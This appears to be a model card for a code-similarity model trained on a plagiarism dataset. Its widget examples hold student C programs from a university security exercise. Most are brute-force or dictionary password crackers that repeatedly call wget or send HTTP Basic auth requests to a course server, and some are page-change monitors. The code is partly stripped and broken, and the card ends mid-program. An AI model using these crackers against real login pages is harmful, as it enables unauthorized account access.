Model: buelfhood/SOCO-C-PLBART-ST
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, plbart, sentence-similarity, feature-extraction, dense, generated_from_trainer, dataset_size:3081, loss:BatchAllTripletLoss, arxiv:1908.10084, arxiv:1703.07737, base_model:uclanlp/plbart-java-cs, base_model:finetune:uclanlp/plbart-java-cs, endpoints_compatible, region:us
Base models (finetune): id: uclanlp/plbart-java-cs
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, dense, generated_from_trainer, dataset_size:3081, loss:BatchAllTripletLoss
base_model: uclanlp/plbart-java-cs
widget: source_sentence: 



#include <stdio.h>
#include <stdlib.h>
#include  <time.h>

int ()  
{
  int i,j,k,cntr=0;
  char  pass[3];
  char password[3];
  char get[96];
  char username[]="";
  int R_VALUE;
  double time_used;
  
  clock_t ,end; 
  
   =clock(); 
  
  
  
  for (i = 65; i <= 122; i++)
  {
    if(i==91) {i=97;}
   
       for (j = 65; j <= 122; j++)
	   {
         if(j==91) {j=97;}
      
           for (k = 65; k <= 122; k++)
		   {
            if(k==91) {k=97;}  
         
             pass[0] = i;
             pass[1] = j;
	         pass[2] = k;
             sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);       
             cntr++;
	         
			 printf("%d )%s\n\n", cntr, password);
             sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
             

	         R_VALUE=system(get);
	  
	          if(R_VALUE==0) 
			  {
		        printf("The Password has been cracked and it is : %s" , password);
		        exit(0);
			  }
		   }
     
	   }
  
  }
  
  end = clock();

time_used = ((double) (end - )) / CLOCKS_PER_SEC;

printf("time_used = %f\n", time_used);
}


sentences: 



#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>

#define BUFFER_SIZE 2000
#define RETURN_OK 0
#define RETURN_ERROR 1
#define TRUE  1
#define FALSE 0
#define PASSWORD_LENGTH 3

#define STATUS_OK            200
#define STATUS_AUTH_REQUIRED 401
#define CONN_CLOSED          2


char *host;
char *filename;
int  ;
char *url;
char *username;
int attempt;
struct sockaddr_in serverAddr;


void processArguments(int, char **argv, char **, char **);
void printUsage(char *);
void splitURL(const char *, char **, char **);
int openConnection();
void initialiseConnection();
void sendRequest(int, char *, char *, char *, char *);
int getResponseStatus(int);
void base64_encode(const unsigned char *, unsigned char *);
void getHostErrorMsg(char *);
void generatePassword(char *, int);
void testPassword(char *);




int main(int argc, char *argv[])
{
    char password[PASSWORD_LENGTH+1];
    int i;

    

    attempt = 0;
    processArguments(argc, argv, &url, &username);
    splitURL(url, &host, &filename);

    initialiseConnection();
     = openConnection();

    

    for (i=1; i<=PASSWORD_LENGTH; i++)
    {
        memset(password, 0, PASSWORD_LENGTH+1);
        generatePassword(password, i);
    }

    printf("The password has not been cracked\n");
    exit(RETURN_OK);

}




void generatePassword(char *password, int reqLength)
{
    static const char *chars = 
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

    int currLength;
    int i;

    currLength = strlen(password);
    currLength++;

    for (i=0; i<strlen(chars); i++)
    {
        password[currLength-1] = chars[i];

        if (strlen(password) != reqLength)
        {
           
           generatePassword(password, reqLength);
        }
        else
        {
           testPassword(password);
        }

        password[currLength] = '\0';
    }
}




void testPassword(char *password)
{
    int status;

    attempt++;

    
TestPassword:
    sendRequest(, host, filename, username, password);
    status = getResponseStatus();

    if (status == STATUS_OK)
    {
        printf("The password has been found after %d attempts: %s\n",
               attempt, password);
        exit(RETURN_OK);
    }
    else if (status == CONN_CLOSED)
    {
        
        ();
         = openConnection();
        goto TestPassword;        
    }
    else if (status != STATUS_AUTH_REQUIRED)
    {
        printf("Status %d received from server\n", status);
        exit(RETURN_ERROR);
    }

}




void processArguments(int argc, char *argv[], char **url, char **username)
{
    if (argc != 3)
    {
        printUsage(argv[0]);
        exit(1);
    }

    *url = (char *) malloc(strlen(argv[1] + 1));
    strcpy(*url, argv[1]);

    *username = (char *) malloc(strlen(argv[2] + 1));
    strcpy(*username, argv[2]);

}





void printUsage(char *program)
{
    fprintf(stderr, "Usage:\n");
    fprintf(stderr, "%s url username\n", program);
}




void splitURL(const char *url, char **host, char **file)
{
    char *p1; 
    char *p2;

    
    p1 = strstr(url, "//");
    if (p1 == NULL)
        p1 = (char *) url;
    else
        p1 = p1 + 2;

    
    p2 = strstr(p1, "/");
    if (p2 == NULL)
    {
        fprintf(stderr, "Invalid url\n");
        exit(RETURN_ERROR);
    }

    *host = (char *) malloc(p2-p1+2);
    strncpy(*host, p1, p2-p1);
    (*host)[p2-p1] = '\0';

    *file = (char *) malloc(strlen(p2+1));
    strcpy(*file, p2);

}




void sendRequest(int , char *host, char *filename, char *username, 
                 char *password)
{
    char message[BUFFER_SIZE];
    unsigned char encoded[BUFFER_SIZE];
    unsigned char token[BUFFER_SIZE];

    

    
    sprintf((char *) token, "%s:%s", username, password);
    base64_encode(token, encoded);

    sprintf(message, "GET %s HTTP/1.1\nHost: %s\nAuthorization:  %s\n\n",
            filename, host, encoded);

    if (write(, message, strlen(message)) == -1)
    {
        perror("");
        exit(RETURN_ERROR);
    }
}




int getResponseStatus()
{
    char message[BUFFER_SIZE];
    int  bytesRead;
    char *p1;
    char status_str[4];
    int  status;

    

    while (TRUE)
    {
        bytesRead = (, message, BUFFER_SIZE-1);
        if (bytesRead == -1)
        {
            perror("");
            exit(RETURN_ERROR);
        }
        else if (bytesRead == 0)
        {
            
            return CONN_CLOSED;
        }

        message[bytesRead+1] = '\0';

        
        p1 = strstr(message, "HTTP");
        if (p1 != NULL)
        {
            p1 = p1 + 9;
            break;
        }
    }

    strncpy(status_str, p1, 3);
    status_str[3] = '\0';
    status = atol(status_str);

    return status;
}




int openConnection()
{
    int ;

    if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        perror("");
        exit(RETURN_ERROR);
    }

    if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)
    {
        perror("connect");
        exit(RETURN_ERROR);
    }

    return ;
}




void initialiseConnection()
{
    struct hostent *serverHostent;
    unsigned  serverIP;
    char errorMsg[BUFFER_SIZE]; 


    

    memset(&serverAddr, 0, sizeof(serverAddr));
    serverAddr.sin_port = htons(80);


    if ((serverIP = inet_addr(host)) != -1)
    {
        serverAddr.sin_family = AF_INET;
        serverAddr.sin_addr.s_addr = serverIP;
    }
    else if ((serverHostent = gethostbyname(host)) != NULL)
    {
	serverAddr.sin_family = serverHostent->h_addrtype;
        memcpy((void *) &serverAddr.sin_addr,
		 (void *) serverHostent->h_addr, serverHostent->h_length);
    }
    else
    {
       getHostErrorMsg(errorMsg);
       printf("%s: %s\n", host, errorMsg);
       exit(RETURN_ERROR);
    }
}



 
void base64_encode(const unsigned char *input, unsigned char *output)
{
    static const char *codes = 
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    int i;
    int len;
    int lenfull;
    unsigned char *p;
    int a;
    int b;
    int c;
    
    p = output;
    len = strlen((char *) input);

    

    lenfull = 3*(len / 3);
    for (i = 0; i < lenfull; i += 3) 
    {
        *p++ = codes[input[0] >> 2];
        *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];
        *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];
        *p++ = codes[input[2] & 0x3f];
        input += 3;
    }


    

    if (i < len)
    {
        a = input[0];
        b = (i+1 < len) ? input[1] : 0;
        c = 0;

        *p++ = codes[a >> 2];
        *p++ = codes[((a & 3) << 4) + (b >> 4)];
        *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';
        *p++ = '=';
    }

    
    *p = '\0';
 
}




void getHostErrorMsg(char *message)
{
    switch (h_errno)
    {
         HOST_NOT_FOUND :
             strcpy(message, "The specified host is unknown");
             break;

         NO_DATA:
             strcpy(message, "The specified host name is valid, but does not have   address");
             break;

         NO_RECOVERY:
             strcpy(message, "A non-recoverable name server error occurred");
             break;

         TRY_AGAIN:
             strcpy(message, "A temporary error occurred   authoritative name server. Try again later.");
             break;

        default:
             strcpy(message, " unknown name server error occurred.");
    }
}

, 

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9 

int (){
   int i=65,j=65,k=65,count=0,res=1;
   char arry[3],send[100];
   int startTime, stopTime, final;
   startTime = time();
   for(i;i<123;i++){
      if(i<91 || i>96){
         arry[0]=i;
	 j=65;
	 for(j;j<123;j++){
	    if(j<91 || j>96){
	       arry[1]=j;
	       k=65;
	       for(k;k<123;k++){
		  if(k<91 || k>96){
		     arry[2]=k;
		     arry[3]='\0';
		     strcpy(send,"wget --http-user= --http-passwd=");
		     strcat(send,arry);
		     strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
		     count++;
	             if((res=(system(send)) == 0)) {
		        stopTime = time();
			final = stopTime-startTime;
			printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",arry,(double)final/OneBillion,count);
			exit(1);
		     }
		  }
	       }
            }
         }
      }
   }
   printf("\npassword not found\n");
   exit(1);
}
, 


#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  char word[15], *chk;
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir one");
  system("mv www.cs.rmit.edu./images/*.*  one/");
  system("mv www.cs.rmit.edu./students/*.* one/");
  sleep(15);
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir two");
  system("mv www.cs.rmit.edu./images/*.* two/");
  system("mv www.cs.rmit.edu./students/*.* two/");
  system("diff one two > difference.txt");
  system("mailx -s  \"Message1\"   < difference.txt");
  return 0;
}
, source_sentence: 









#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>
#include<strings.h>
int ()
{
  char url[100];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/ ";
  FILE *fp;

  char pass[15], *valid;
  valid = "pass";
  int , end, time_var;
  int hack =1;
  int attempt =1;

  fp = fopen("words.txt","r");
  if (fp == NULL)
  exit(1);

   = time();
  while (valid != NULL)
  {
   valid  = fgets(pass,15,fp);
   pass[strlen(pass)-1] ='\0';

   if(strlen(pass) != 3)
   continue;

   printf("%s\n",pass);
   sprintf(url,"%s%s %s",syscom,pass,http);

   hack = system(url);
   attempt++;

   if (hack == 0)
    {
     end = time();
     time_var = (end-);
     printf("\nThe password is :%s",pass);
     printf("\nNo. of Attempts   crack the password :%d",attempt);
     printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
     exit(1);
     }
   }
  exit(1);
 }


sentences: 

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9 

int (){
   int i=65,j=65,k=65,count=0,res=1;
   char arry[3],send[100];
   int startTime, stopTime, final;
   startTime = time();
   for(i;i<123;i++){
      if(i<91 || i>96){
         arry[0]=i;
	 j=65;
	 for(j;j<123;j++){
	    if(j<91 || j>96){
	       arry[1]=j;
	       k=65;
	       for(k;k<123;k++){
		  if(k<91 || k>96){
		     arry[2]=k;
		     arry[3]='\0';
		     strcpy(send,"wget --http-user= --http-passwd=");
		     strcat(send,arry);
		     strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
		     count++;
	             if((res=(system(send)) == 0)) {
		        stopTime = time();
			final = stopTime-startTime;
			printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",arry,(double)final/OneBillion,count);
			exit(1);
		     }
		  }
	       }
            }
         }
      }
   }
   printf("\npassword not found\n");
   exit(1);
}
, #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>

char *bruteforce(int *attempts);


int (void){

   int i, counter;
   int Timetaken;
   int initTime = 0, exitTime = 0;
   initTime = time();
   bruteforce(&counter);
   exitTime = time();
   Timetaken = exitTime - initTime;
   printf("\nTime taken is %lld millisecond\n", (Timetaken)/());
   printf("\nNumber of attempts  is... %d", counter);
   return 0;
}


char *bruteforce(int *attempts){     
  
   FILE *fp;
   char ch[100];
	*attempts=0;

   fp = fopen("/usr/share/lib/dict/words", "r");
   if (fp == NULL) {
      printf("file  not  open");
   }
   while (fgets(ch, 100, fp) != NULL){
	
		(*attempts)++;

      int  j = 0;
      while (j <= 100){

         if (ch[j] == '\n') {
            ch[j] = '\0';
            break;
         }
         j = j + 1;
       }
		 
       char  [100] = "wget  --http-user= --http-passwd=";
       strcat(, ch);
       strcat(, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       printf("%s\n", );
       if (system() == 0){
          printf("Password cracked successfully: ");
          printf("Password is %s", ch);
          return NULL;
       }
   }
  
   fclose(fp);
}
, 



#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>

#define BUFFER_SIZE 2000
#define RETURN_OK 0
#define RETURN_ERROR 1
#define TRUE  1
#define FALSE 0
#define PASSWORD_LENGTH 3

#define STATUS_OK            200
#define STATUS_AUTH_REQUIRED 401
#define CONN_CLOSED          2


char *host;
char *filename;
int  ;
char *url;
char *username;
int attempt;
struct sockaddr_in serverAddr;


void processArguments(int, char **argv, char **, char **);
void printUsage(char *);
void splitURL(const char *, char **, char **);
int openConnection();
void initialiseConnection();
void sendRequest(int, char *, char *, char *, char *);
int getResponseStatus(int);
void base64_encode(const unsigned char *, unsigned char *);
void getHostErrorMsg(char *);
void generatePassword(char *, int);
void testPassword(char *);




int main(int argc, char *argv[])
{
    char password[PASSWORD_LENGTH+1];
    int i;

    

    attempt = 0;
    processArguments(argc, argv, &url, &username);
    splitURL(url, &host, &filename);

    initialiseConnection();
     = openConnection();

    

    for (i=1; i<=PASSWORD_LENGTH; i++)
    {
        memset(password, 0, PASSWORD_LENGTH+1);
        generatePassword(password, i);
    }

    printf("The password has not been cracked\n");
    exit(RETURN_OK);

}




void generatePassword(char *password, int reqLength)
{
    static const char *chars = 
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

    int currLength;
    int i;

    currLength = strlen(password);
    currLength++;

    for (i=0; i<strlen(chars); i++)
    {
        password[currLength-1] = chars[i];

        if (strlen(password) != reqLength)
        {
           
           generatePassword(password, reqLength);
        }
        else
        {
           testPassword(password);
        }

        password[currLength] = '\0';
    }
}




void testPassword(char *password)
{
    int status;

    attempt++;

    
TestPassword:
    sendRequest(, host, filename, username, password);
    status = getResponseStatus();

    if (status == STATUS_OK)
    {
        printf("The password has been found after %d attempts: %s\n",
               attempt, password);
        exit(RETURN_OK);
    }
    else if (status == CONN_CLOSED)
    {
        
        ();
         = openConnection();
        goto TestPassword;        
    }
    else if (status != STATUS_AUTH_REQUIRED)
    {
        printf("Status %d received from server\n", status);
        exit(RETURN_ERROR);
    }

}




void processArguments(int argc, char *argv[], char **url, char **username)
{
    if (argc != 3)
    {
        printUsage(argv[0]);
        exit(1);
    }

    *url = (char *) malloc(strlen(argv[1] + 1));
    strcpy(*url, argv[1]);

    *username = (char *) malloc(strlen(argv[2] + 1));
    strcpy(*username, argv[2]);

}





void printUsage(char *program)
{
    fprintf(stderr, "Usage:\n");
    fprintf(stderr, "%s url username\n", program);
}




void splitURL(const char *url, char **host, char **file)
{
    char *p1; 
    char *p2;

    
    p1 = strstr(url, "//");
    if (p1 == NULL)
        p1 = (char *) url;
    else
        p1 = p1 + 2;

    
    p2 = strstr(p1, "/");
    if (p2 == NULL)
    {
        fprintf(stderr, "Invalid url\n");
        exit(RETURN_ERROR);
    }

    *host = (char *) malloc(p2-p1+2);
    strncpy(*host, p1, p2-p1);
    (*host)[p2-p1] = '\0';

    *file = (char *) malloc(strlen(p2+1));
    strcpy(*file, p2);

}




void sendRequest(int , char *host, char *filename, char *username, 
                 char *password)
{
    char message[BUFFER_SIZE];
    unsigned char encoded[BUFFER_SIZE];
    unsigned char token[BUFFER_SIZE];

    

    
    sprintf((char *) token, "%s:%s", username, password);
    base64_encode(token, encoded);

    sprintf(message, "GET %s HTTP/1.1\nHost: %s\nAuthorization:  %s\n\n",
            filename, host, encoded);

    if (write(, message, strlen(message)) == -1)
    {
        perror("");
        exit(RETURN_ERROR);
    }
}




int getResponseStatus()
{
    char message[BUFFER_SIZE];
    int  bytesRead;
    char *p1;
    char status_str[4];
    int  status;

    

    while (TRUE)
    {
        bytesRead = (, message, BUFFER_SIZE-1);
        if (bytesRead == -1)
        {
            perror("");
            exit(RETURN_ERROR);
        }
        else if (bytesRead == 0)
        {
            
            return CONN_CLOSED;
        }

        message[bytesRead+1] = '\0';

        
        p1 = strstr(message, "HTTP");
        if (p1 != NULL)
        {
            p1 = p1 + 9;
            break;
        }
    }

    strncpy(status_str, p1, 3);
    status_str[3] = '\0';
    status = atol(status_str);

    return status;
}




int openConnection()
{
    int ;

    if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        perror("");
        exit(RETURN_ERROR);
    }

    if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)
    {
        perror("connect");
        exit(RETURN_ERROR);
    }

    return ;
}




void initialiseConnection()
{
    struct hostent *serverHostent;
    unsigned  serverIP;
    char errorMsg[BUFFER_SIZE]; 


    

    memset(&serverAddr, 0, sizeof(serverAddr));
    serverAddr.sin_port = htons(80);


    if ((serverIP = inet_addr(host)) != -1)
    {
        serverAddr.sin_family = AF_INET;
        serverAddr.sin_addr.s_addr = serverIP;
    }
    else if ((serverHostent = gethostbyname(host)) != NULL)
    {
	serverAddr.sin_family = serverHostent->h_addrtype;
        memcpy((void *) &serverAddr.sin_addr,
		 (void *) serverHostent->h_addr, serverHostent->h_length);
    }
    else
    {
       getHostErrorMsg(errorMsg);
       printf("%s: %s\n", host, errorMsg);
       exit(RETURN_ERROR);
    }
}



 
void base64_encode(const unsigned char *input, unsigned char *output)
{
    static const char *codes = 
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    int i;
    int len;
    int lenfull;
    unsigned char *p;
    int a;
    int b;
    int c;
    
    p = output;
    len = strlen((char *) input);

    

    lenfull = 3*(len / 3);
    for (i = 0; i < lenfull; i += 3) 
    {
        *p++ = codes[input[0] >> 2];
        *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];
        *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];
        *p++ = codes[input[2] & 0x3f];
        input += 3;
    }


    

    if (i < len)
    {
        a = input[0];
        b = (i+1 < len) ? input[1] : 0;
        c = 0;

        *p++ = codes[a >> 2];
        *p++ = codes[((a & 3) << 4) + (b >> 4)];
        *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';
        *p++ = '=';
    }

    
    *p = '\0';
 
}




void getHostErrorMsg(char *message)
{
    switch (h_errno)
    {
         HOST_NOT_FOUND :
             strcpy(message, "The specified host is unknown");
             break;

         NO_DATA:
             strcpy(message, "The specified host name is valid, but does not have   address");
             break;

         NO_RECOVERY:
             strcpy(message, "A non-recoverable name server error occurred");
             break;

         TRY_AGAIN:
             strcpy(message, "A temporary error occurred   authoritative name server. Try again later.");
             break;

        default:
             strcpy(message, " unknown name server error occurred.");
    }
}

, source_sentence: #include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>

#define SUCCESS 0;

int ()
{	
	
	system("rm index.*");	
	system("wget --non-verbose http://www.cs.rmit.edu./students");
	system("sleep 10");
	system("wget --non-verbose http://www.cs.rmit.edu./students");		
	system("diff index.html index.html.1 >> output.txt");
	printf("Comparison stored in output.txt");
	system("mutt -a output.txt @cs.rmit.edu. ");
	
	return SUCCESS;
}

sentences: #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int        , end;
	FILE           *fp;
	int             i, j;
	char            input;
	char            password[30];
	int             check;

	float           total_time;
	int             number;
	 = time();


	if ((fp = fopen("words", "r")) == NULL) {
		fprintf(stderr, "Error : Failed  open words for .\n");
		return (EXIT_FAILURE);
	}
	while ((input = fgetc(fp)) != EOF) {
		j = 0;
		for (i = 0; i < 30; i++)
			password[i] = '\0';

		while(input != '\n' ) {

			password[j] = input;
			j++;
			input = fgetc(fp);
			
		
		}


		if (strlen(password) <= 3) {
			printf("%s\t",password);
			fflush(stdout);
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time();
				total_time = (end - ) / 1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n", total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number, total_time / number);
				exit(0);
			}
		}

	}

	return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);

	rettype = system();
	
	if (rettype == 0) {
		printf("Successfully retrieved password: %s\n", password);
		return 0;
	}
	strcpy(, "");
}
, #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>



int ()
{
    int i,j,k,sysoutput;
    char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(string1, "wget --http-user= --http-passwd=");
    strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
    
    for (i=0;i<=52;i++)
  { 
     [0] = arr[i];
     [1]  ='\0'; 
     strcpy(a,);
     
     printf("The  first  value is %s \n", a);    	

     for (j=0;j<=52;j++)
       {  [0] = arr[j];
          [1] = '\0'; 
	  strcpy(temp1,a);
	  strcat(a,);
	  strcpy(b,a);
	  strcpy(a,temp1);
	   printf("The  second value is %s \n", b);    	          
	for(k=0;k<=52;k++)
	  {  
	     [0] =arr[k];
	     [1] = '\0';
	     strcpy(temp1,b);
	     strcat(b,);
	     strcpy(pass,b);
	     strcpy(b,temp1);
	     pass[0] = arr[i];
           pass[1]= arr[j];
           pass[2]= arr[k];
           pass[3] = '\0';
		printf(" the  third  value of   the %s \n" ,pass);    
                 

		printf("%s\n",pass);
	  printf("*********\n" );
          strcat(string1, pass);
          strcat(string1, string2);
	  printf("\n executing %s\n", string1);
          sysoutput = system(string1);
          if (sysoutput == 0)
          {
            printf("\nsuccess %d %s\n",sysoutput,pass);
            exit(1);
          }


	  strcpy(string1, "");
	  strcpy(string1, "wget --http-user= --http-passwd=");
          
	         }
  	}   
   }
 }  
     
    
  
  
  
  
  
, #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9


int ()
{   int startTime, stopTime, final;
    int i,j,k;
    int pass,count=0;
    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
    char [4];
    char url1[100];
    char url2[100];

    startTime = time();
   for (i=0;i<=52;i++)
   {

     for (j=0;j<=52;j++)
       {

	for(k=0;k<=52;k++)

	  { 
	     count++;
             [0] = arr[i];
	     [1] = arr[j];
	     [2] = arr[k];
	     [3] = '\0';


	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,);
	     strcat(url1,url2);


	     pass = system(url1);
	     if (pass == 0)
	     {   
                printf("Success\n");
		printf("Number of attempts = %d\n",count);
	        stopTime = time();

                final = stopTime-startTime;
		printf("The password for the user  : %s\n",); 
                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	        
		exit(1);}


	      }
        }

   }
 }


, source_sentence: 

#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255


int  (int argc, char *argv[])
 {
     FILE *fp;
     
   while(1)
    {       
      system("wget -p http://www.cs.rmit.edu./students");



      system("mkdir data"); 
      if((fp=fopen("./data/index.html","r"))==NULL)
       { 
         system("cp www.cs.rmit.edu./students/index.html ./data");
	 
       }
      else
       {  
               
	 
	 system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./students/index.html ./data");
       }     



      system("mkdir images"); 
      if((fp=fopen("./images/file.txt","r"))==NULL)
       { 
          system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
		 
       }
      
      else
       {          
          system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
	 
	 
	 
	 system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./file.txt ./images");
       }
     sleep(86400); 
    }	
     return (EXIT_SUCCESS);
  }
     
	   
	  	

sentences: 


#define _REENTRANT
#include <sys/time.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#include <pthread.h>
#include <signal.h>


#define MAX_THREADS 1000
#define MAX_COMBO 
#define false 0
#define true 1


static char *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char **combination=NULL;
static char host[128];


pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;
pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER;


static int attempt_count=0;
static int combo_entries=0;

static struct timeval ;
static struct timeval stop;
static int thread_ready_indicator=false;
static int thread_start_indicator=false;
static int thread_count=0;


typedef struct range
{
  int ;
  int ;
}range;


void *client(void *arg)
{
  
  int i=0, status=1;
  range *= (struct range*)arg;

  
  char local_buffer[128];

  pthread_mutex_lock(&thread_lock);
  thread_ready_indicator=true;

  
  pthread_cond_signal(&thread_ready);

  
  while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock);
    fflush(stdout);
  pthread_mutex_unlock(&thread_lock);

  
  for(i=->; i<=-> && i<combo_entries; i++)
  {
    
    sprintf(local_buffer,
    "wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s",
    "", combination[i], host);

    
    status=system(local_buffer);
    

    
    if(status==0)
    {
      printf("\n\nusername: \npassword: %s\n\n", combination[i]);
      fflush(stdout);

      
      pthread_mutex_lock(&counter_lock);

        attempt_count++;
        gettimeofday(&stop, NULL);

        printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
        attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
        fflush(stdout);

      pthread_mutex_unlock(&counter_lock);

      
      exit(EXIT_SUCCESS);
    }
    else
    {
      
      pthread_mutex_lock(&counter_lock);
        attempt_count++;
      pthread_mutex_unlock(&counter_lock);
    }
  }
  pthread_exit(NULL);
}


char *getNextCombination()
{
  
  static int i=0;
  static int j=0;
  static int k=0;

  static int mode=1;
  char *word;


  

  if(i>51)
  {
    mode++; i=0; j=0; k=0;
  }

  
  if(mode==1)
  {
    char *word = calloc(mode, 1);
    word[0]=alphabet[i++];
    word[1]='\0';
    return word;
  }

  
  if(mode==2)
  {
    if(j>51)
    {
      i++; j=0;
    }

    if(i>51)
    {
      mode++;
      i=0; j=0; j=0;
    }
    else
    {
      char *word = calloc(mode, 1);
      word[0]=alphabet[i];
      word[1]=alphabet[j++];
      word[2]='\0';
      return word;
    }
  }

  
  if(mode==3)
  {
    if(k>51)
    {
      j++; k=0;
    }

    if(j>51)
    {
      i++; j=0;
    }

    if(i>51)
    {
       mode++;
       i=0; j=0; j=0;
     }
     else
     {
       char *word = calloc(mode, 1);
       word[0]=alphabet[i];
       word[1]=alphabet[j];
       word[2]=alphabet[k++];
       word[3]='\0';
       return word;
     }
   }
   return NULL;
}


int main(int argc, char **argv)
{
  
  int wait_status=0, i=0, j=0, num_threads=0;
  int partition=0, prev_min=0, prev_max=0;
  int len=0;
  char *word; range *;
  pthread_t tid[MAX_THREADS];
  int non_alpha_detected=0;

  
  if(argc<3)
  {
    puts("Incorrect usage!");
    puts("./brute num_threads url");
    exit(EXIT_FAILURE);
  }

  
  strcpy(host, argv[2]);

  
  num_threads=atoi(argv[1]);

  
  combination = (char **)calloc(MAX_COMBO, sizeof(char *));

  printf("Process ID for the  thread is: %d\n", getpid());
  printf("Creating brute-force dictionary ... ");
  
  
  while( (word=getNextCombination())!= NULL && i<MAX_COMBO)
  {
    combination[i]=calloc(strlen(word)+1, sizeof(char));
    strcpy(combination[i++], word);
    combo_entries++;
  }
  puts("");
  j=0;

  
